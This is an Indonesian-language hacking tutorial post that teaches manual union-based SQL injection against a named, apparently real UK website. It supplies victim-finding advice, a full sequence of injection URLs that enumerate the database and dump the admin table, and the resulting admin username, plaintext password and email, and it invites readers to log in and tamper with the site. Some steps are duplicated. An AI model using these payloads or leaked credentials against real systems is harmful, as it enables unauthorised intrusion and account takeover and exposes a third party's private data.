Filename | Teknik SQL Injection Manual |
Permission | rw-r--r-- |
Author | 4n4M N0tF0unD |
Date and Time | 04.18 |
Label | Hacking |
Action |
SQL Injection merupakan sebuah teknik hacking dimana seorang penyerang dapat memasukkan perintah-perintah SQL melalui url untuk dieksekusi oleh database. Penyebab utama dari celah ini adalah variable yang kurang di filter. Langsung saja kita mulai, Let's Go .....
- Persiapan :
Saya kira hanya begitu saja, kurang lebih mohon maaf
- hal pertama adalah kita cari korban menggunakan Dork diatas
- setelah kita dapat targetnya kita test apakah website tersebut vuln atau tidak untuk di Inject
- buat sebuah error pada website dengan menambahkan karakter(') atau (-) setelah atau sesudah angka pada url
Contoh : http://carpark-management.co.uk/shop.php?id=19'
http://carpark-management.co.uk/shop.php?id='19
http://carpark-management.co.uk/shop.php?id=-19
- jika website tersebut muncul pesan error, kemungkinan besar Website Vuln untuk di Inject
- setelah itu, kita hitung jumlah table yang ada pada database website tersebut, kita gunakan perintah order by dan di akhiri dengan tanda -- di belakang url. sehingga menjadi seperti ini :
http://carpark-management.co.uk/shop.php?id=19+order+by+1-- <== tidak terjadi Error
http://carpark-management.co.uk/shop.php?id=19+order+by+2-- <== tidak terjadi Error
http://carpark-management.co.uk/shop.php?id=19+order+by+3-- <== tidak terjadi Error
http://carpark-management.co.uk/shop.php?id='19
http://carpark-management.co.uk/shop.php?id=-19
- jika website tersebut muncul pesan error, kemungkinan besar Website Vuln untuk di Inject
- setelah itu, kita hitung jumlah table yang ada pada database website tersebut, kita gunakan perintah order by dan di akhiri dengan tanda -- di belakang url. sehingga menjadi seperti ini :
http://carpark-management.co.uk/shop.php?id=19+order+by+1-- <== tidak terjadi Error
http://carpark-management.co.uk/shop.php?id=19+order+by+2-- <== tidak terjadi Error
http://carpark-management.co.uk/shop.php?id=19+order+by+3-- <== tidak terjadi Error
- jika website tidak menampilkan pesan error kita langkahin aja biar gak lama - lama
http://carpark-management.co.uk/shop.php?id=19+order+by+8-- <== tidak terjadi Error
http://carpark-management.co.uk/shop.php?id=19+order+by+9-- <== ada pesan Error
- Pada angka 9 ternyata muncul error, jadi yang kita ambil angka sebelum munculnya pesan error. itu berarti jumlah tabel pada databasenya ada 8
- Selanjutnya kita akan mencari angka tabel yang bisa kita gunakan untuk perintah - perintah injection pada tahap selanjutnya. Gunakan perintah union all select diikuti jumlah tabel dan tanda (-) sebelum angka dan diakhiri dengan tanda -- pada akhir url.
http://carpark-management.co.uk/shop.php?id=-19+union+all+select+1,2,3,4,5,6,7,8--
- nah... muncul tuh angka 2 yang nantinya akan di gunakan untuk perintah - perintah selanjutnya
- untuk tahap ini, kita harus mengetahui versi database yang dipakai pada website tersebut. dengan menggunakan perintah version() atau @@version pada angka yang muncul tadi
http://carpark-management.co.uk/shop.php?id=-19+union+all+select+1,version(),3,4,5,6,7,8--
- tuh angkanya muncul, angka yang muncul adalah versi 5.1.72. jadi pada versi 5 itu berberda dengan versi 4 . prosesnya lebih repot pada versi 4 , karena untuk melakukan perintah SQL Injection pada versi 4 kita harus menebak 1 per 1 tabel yang ada pada databasenya
- Sekarang perintah selanjutnya kita akan memunculkan nama-nama tabel yang ada pada website tersebut. gunakan perintah group_concat(table_name) dan menambahkan perintah +from+information_schema.tables+where+table_schema=database() sesudah angka terakhir, dan diakhiri dengan tanda -- pada akhir url
http://carpark-management.co.uk/shop.php?id=-19+union+all+select+1,group_concat(table_name),3,4,5,6,7,8+from+information_schema.tables+where+table_schema=database()--
- nah nama tablenya udah muncul tuh yang terdiri dari : pjcpm_admin,pjcpm_cart,pjcpm_category,pjcpm_catpro,pjcpm_country,pjcpm_news ddl sebagainya.
- Langkah selanjutnya kita akan mencari username dan password admin pada tabel pjcpm_admin. Perlu diketahui bahwa tidak semua nama tabel pada setiap website itu sama, jadi untuk mencari tabel admin, silahkan di kira-kira saja dimana tabel yang sobat curigai tempat username dan password admin berada
- Selanjutnya kita mencari kolom yang berada di dalam tabel pjcpm_admin, dengan menggunakan perintah
group_concat(column_name) dan perintah +from+information_schema.columns+where+table_name=CHAR() sesudah angka terakhir, dan diakhiri dengan tanda -- pada akhir url. Pada tahap ini nama tabel pjcpm_admin harus dikonversi dulu ke bentuk decimal. silahkan koversi disini. kemudian hasil konversi pjcpm_admin adalah 112 106 99 112 109 95 97 100 109 105 110 lalu kita masukkan ke CHAR(112,106,99,112,109,95,97,100,109,105,110) dan pisahkan dengan koma.
http://carpark-management.co.uk/shop.php?id=-19+union+all+select+1,group_concat(column_name),3,4,5,6,7,8+from+information_schema.columns+where+table_name=CHAR(112,106,99,112,109,95,97,
100,109,105,110)--
- Nah, udah muncul nama kolomnya yang terdiri dari admin_id,username,password dan email.
- langkah selanjutnya kita lihat isi dari nama - nama kolom tadi dengan perintah group_concat(admin_id,0x3a,usename,0x3a,password,03xa,email). jangan lupa di setiap sela - sela tambahkan kode 0x3a yang merupakan hasil konversi hexa dari tanda titik dua (:). lalu tambahkan perintah +from+pjcpm_admin-- (pjcpm_admin merupakan tabel yang kita dapatkan tadi) di belakang angka terakhir
http://carpark-management.co.uk/shop.php?id=-19+union+all+select+1,group_concat(admin_id,0x3a,username,0x3a,password,0x3a,email),3,4,5,6,7,8+from+pjcpm_admin--
- dari gambar di atas isi dari kolom yang muncul adalah 1:manager:cpm2010:maneesh@webdesigninguk.co, terus kita cari deh halaman log in nya, tinggal masuk dan terserah anda mau di apain tuh website.
terima kasih, dan sampai jumpa